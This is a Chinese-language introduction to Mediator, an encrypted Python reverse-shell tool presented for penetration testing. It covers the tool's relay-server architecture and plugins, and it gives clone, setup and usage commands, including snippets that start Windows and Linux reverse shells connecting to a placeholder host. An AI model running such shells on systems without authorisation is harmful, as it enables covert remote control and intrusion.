Mediator一款功能强大的可扩展端到端加密反向Shell

关于Mediator

Mediator是一款功能强大的可扩展端到端加密反向Shell,该工具基于新型架构实现,采用Python语言开发,能够帮助广大研究人员通过一台“Mediator”服务器来跟Shell建立连接。这样一来,研究人员就不需要处理程序设置端口转发以侦听连接。除此之外,Mediator还可以帮助我们创建插件来扩展反向Shell的功能。

值得一提的是,我们不仅可以将Mediator的脚本作为独立的可执行文件运行,也可以将它们导入到其他渗透测试或事件响应工具中进行集成。

工具体系架构

Mediator受到了端到端加密聊天应用程序的启发,因此Mediator使用了一种独特的方法来实现反向Shell的客户端/服务器模型。Mediator使用了如下所示的方法:

· 客户端反向Shell

· 客户端Handler/Operator

· 一台服务器作为连接两端的桥梁

反向Shell和Handler会使用一个连接密钥来跟Mediator服务器进行连接。服务器会监听80端口(Handler连接)和443端口(反向Shell连接)。当客户端连接至Mediator服务器时,服务器将桥接这两个连接。此时,两个客户端之间将进行密钥交换,反向Shell和Operator之间的所有通信流量都将采用端到端加密,这样就可以确保不会有其他第三方窥探Mediator正在传输的流量数据。

插件机制

Mediator的插件机制将允许我们添加额外的命令,这些命令能够在研究人员的主机以及目标主机上执行各种代码。

工具下载

广大研究人员可以使用下列命令将该项目源码克隆至本地:

git clone https://github.com/lawndoc/mediator.git

工具配置&使用

服务器端

客户端脚本可以在Windows或Linux系统上运行,但你首先需要在Linux主机上配置并开启服务器。服务器基于纯Python开发,因此在使用前无需安装额外的依赖组件。接下来,我们就可以使用下列命令来启动服务器了:

$ python3 mediator.py

或者,我们也可以使用提供的Dockerfile来在容器中运行Mediator服务器(确保开启了80端口和443端口)。

客户端

如需使用客户端脚本,则需要安装requirements.txt中定义的所有依赖组件,我们可以使用下列命令实现:

$ pip3 install -r requirements.txt

Mediator服务器地址

在使用Python脚本时,我们首先需要实例化中介主机的地址:

Handler类

from handler import Handleroperator = Handler(mediatorHost="example.com")operator.run()

WindowsRShell类

from windowsTarget import WindowsRShellshell = WindowsRShell(mediatorHost="example.com")shell.run()

如果直接通过Shell执行客户端脚本,则则可以对脚本底部的地址进行硬编码,或者通过-s或–server参数来指定服务器地址:

handler.py
$ python3 handler.py -s example.com

windowsTarget.py

> python windowsTarget.py -s example.com

连接密钥

服务器只接受前缀为“#!ConnectionKey”的密钥,默认的连接密钥为“#!ConnectionKey_CHANGE_ME!!!”。

如需修改Python脚本所使用的连接密钥,可以选择在实例化时提供连接密钥:

Handler类

from handler import Handleroperator = Handler(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")operator.run()LinuxRShell类
from linuxTarget import LinuxRShellshell = LinuxRShell(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")shell.run()

或者,在Shell中运行客户端脚本时,通过-c或–connection-key参数来指定连接密钥。

项目地址

https://github.com/lawndoc/mediator

参考资料

https://github.com/lawndoc/mediator/blob/main/mediator.py

https://github.com/lawndoc/mediator/blob/main/Dockerfilehttps://github.com/lawndoc/mediator/blob/main/requirements.txt